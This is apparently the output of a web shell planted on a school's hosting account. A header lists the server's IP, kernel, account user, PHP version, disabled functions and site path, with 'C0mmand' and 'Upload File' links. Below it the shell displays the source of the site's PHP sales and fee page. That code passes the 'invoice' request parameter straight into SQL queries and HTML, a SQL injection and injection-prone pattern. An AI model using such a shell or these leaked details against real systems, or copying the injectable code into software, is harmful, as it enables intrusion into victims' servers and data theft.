|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/sale/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include('php-includes/connect.php');
include('php-includes/check-login.php');
$userid = $_SESSION['userid'];
//echo $userid;
//$capping =150000;
$invoice=$_REQUEST['invoice'];
$sel11="select * from sale where invoice='$invoice' and status='' order by id desc";
$res11=mysqli_query($conn,$sel11);
$to_amount=0;
while($row11=mysqli_fetch_array($res11,MYSQLI_BOTH))
{
$sale_qty=$row11['sale_qty'];
$product_id=$row11['product_id'];
$sel111="select * from product where id='$product_id' and status='' order by id desc";
$res111=mysqli_query($conn,$sel111);
$row111=mysqli_fetch_array($res111,MYSQLI_BOTH);
$price=$row111['price'];
$amount=$sale_qty*$price;
$to_amount=$amount+$to_amount;
}
?>
<title>Sale</title>
<?PHP include("link/header.php")?>
<!--main content start-->
<style>label{color:black;}</style>
<script>
function show()
{
var invoice=$("#invoice").val();
//alert(invoice);
// alert(check);
$.ajax({
url:"code/classcode.php?flag=112",
type:"POST",
data: {invoice:invoice},
success:function(res){
//alert(res);
$("#modal").html(res);
},
error:function(){
alert("error");
}
});
}
$(document).ready(function(){
$("#myform").submit(function(e){
var invoice=$("#invoice").val();
e.preventDefault();
//$("#btn").prop("disabled",true);
$.ajax({
url:"code/classcode.php?flag=117",
type:"POST",
data:new FormData(this),
contentType:false,
processData:false,
success:function(res){
alert(res);
window.location.href='print.php?invoice='+invoice;
// show();
},
error:function(){
alert("error");
}
});
});
});
$(document).ready(function(){
$("#myform1").submit(function(e){
e.preventDefault();
//$("#btn").prop("disabled",true);
$.ajax({
url:"code/classcode.php?flag=114",
type:"POST",
data:new FormData(this),
contentType:false,
processData:false,
success:function(res){
//alert(res);
show();
},
error:function(){
alert("error");
}
});
});
});
function deleterow(id,invoice)
{
//alert(id);
var a=confirm("Are you Sure");
if(a==true)
{
$.ajax({
url:"code/classcode.php?flag=111",
type:"POST",
data:{rowid:id,invoice:invoice},
success:function(res){
alert(res);
show();
},
error:function(){
alert("error");
}
});
}
}
$(document).ready(function(){
$("#class").change(function(){
var class1 =$(this).val();
var session=$("#session").val();
$.ajax({
url:"code/classcode.php?flag=115",
type:"POST",
data: {class1:class1,session:session},
success:function(res){
//alert(res);
$("#sch").html(res);
},
error:function(){
alert("error");
}
});
});
});
$(document).ready(function(){
$("#sch").change(function(){
var sch=$("#sch").val();
var session=$("#session").val();
var amount=$("#amount").val();
var class1=$("#class").val();
$.ajax({
url:"code/classcode.php?flag=116",
type:"POST",
data: {class1:class1,session:session,sch:sch},
success:function(res){
//alert(res);
$("#dues").val(res);
var d=parseInt(res)+parseInt(amount);
$("#total_amount").val(d);
},
error:function(){
alert("error");
}
});
});
});
$(document).ready(function(){
$("#concession").keyup(function(){
var concession=$("#concession").val();
var paid=$("#paid").val();
var to_amount=$("#total_amount").val();
var d=parseInt(to_amount)-parseInt(paid)-parseInt(concession);
$("#remain").val(d);
});
});
$(document).ready(function(){
$("#paid").keyup(function(){
var concession=$("#concession").val();
var paid=$("#paid").val();
var to_amount=$("#total_amount").val();
var d=parseInt(to_amount)-parseInt(paid)-parseInt(concession);
$("#remain").val(d);
});
});
//FEES UPDATE ///
function editrow(id)
{
//alert(id);
$("#editmodel").modal("show");
$("#editbody").load("code/classcode.php?flag=108&id="+id);
}
function updaterow(form)
{
$.ajax({
url:"code/classcode.php?flag=109",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
cache:false,
success:function(res){
alert(res);
$("#editmodel").modal("hide");
$("#modal").load("code/classcode.php?flag=104");
},
error:function(){
alert("error");
}
});
return false;
}
</script>
<section id="main-content" style="background:url(images/body_bg.jpg) repeat;">
<section class="wrapper">
<div id="page-wrapper" >
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<h2 style='font-weight:bold'> Sale product</h2>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<div class="row" >
<div class="col-lg-12" >
<br/>
<form id='myform' autocomplete="on">
<div class="col-lg-4">
<div class="form-group">
<label>Session</label>
<select name='session' id='session' class='form-control' required>
<?php
$sel="select * from session order by id desc";
$res=mysqli_query($conn,$sel);
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?><option style='background-color:light'><?php echo $row['session'];?></option><?php
}
?>
</select>
<input type="hidden" id='invoice' value="<?php echo $invoice;?>" name="invoice">
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Choose Class</label>
<select name='class' id='class'class='form-control' required>
<option value=''>--Select--</option>
<?php
$sel="select * from subclass";
$res=mysqli_query($conn,$sel);
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?><option style='background-color:light'><?php echo $row['subclass'];?></option><?php
}
?>
</select>
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Choose Student Name</label>
<select class='form-control' name='sch' id='sch' required>
</select>
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Old Dues</label>
<input type='number' class='form-control' name='dues' id='dues' readonly />
<input type='hidden' class='form-control' value='<?php echo $invoice ;?>' name='invoice' readonly />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Amount</label>
<input type='number' class='form-control' name='amount' value='<?php echo $to_amount ;?>' id='amount' readonly />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Total Amount</label>
<input type='number' class='form-control' value='<?php echo $to_amount+$dues ;?>' name='total_amount' id='total_amount' readonly />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Concession Amount</label>
<input type='number' class='form-control' value='0' name='concession' id='concession' />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Paid Amount</label>
<input type='number' class='form-control' name='paid' id='paid' required />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>New Dues</label>
<input type='number' class='form-control' value='0' name='remain' id='remain' readonly />
</div>
</div>
<div class="col-lg-4">
<div class="form-group">
<label>Remark</label>
<input type='text' class='form-control' name='remark' />
</div>
</div>
<center><button class="btn btn-success" >Final Submit</button></center>
</form>
</div><!--/.row-->
</div>
<!-- /.container-fluid -->
<div class="row">
<div class="col-lg-12">
<h1 class="page-header">Product List</h1>
<?php
?>
<link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<div id='modal'></div>
<br/>
</div>
<!-- /.col-lg-12 -->
</div>
</div>
<!-- /#page-wrapper -->
<br/>
<br/>
</div>
</section>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-form-validator/2.3.26/jquery.form-validator.min.js"></script>
<script>
$.validate({
modules : 'html5',
modules : 'file'
});
</script>
<!-- footer -->
<?php include('link/footer.php');
?>
<!-- / footer -->
</section>
<!--main content end-->
</section>
<script src="js/bootstrap.js"></script>
<script src="js/jquery.dcjqaccordion.2.7.js"></script>
<script src="js/scripts.js"></script>
<script src="js/jquery.slimscroll.js"></script>
<script src="js/jquery.nicescroll.js"></script>
<!--[if lte IE 8]><script language="javascript" type="text/javascript" src="js/flot-chart/excanvas.min.js"></script><![endif]-->
<script src="js/jquery.scrollTo.js"></script>
<!-- morris JavaScript -->
<!-- modal for result-->
<div class="modal fade" id="editmodel">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> Product Add </h2> </center>
</div>
<div class="modal-body" id="editbody">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-- //calendar -->
</body>
</html>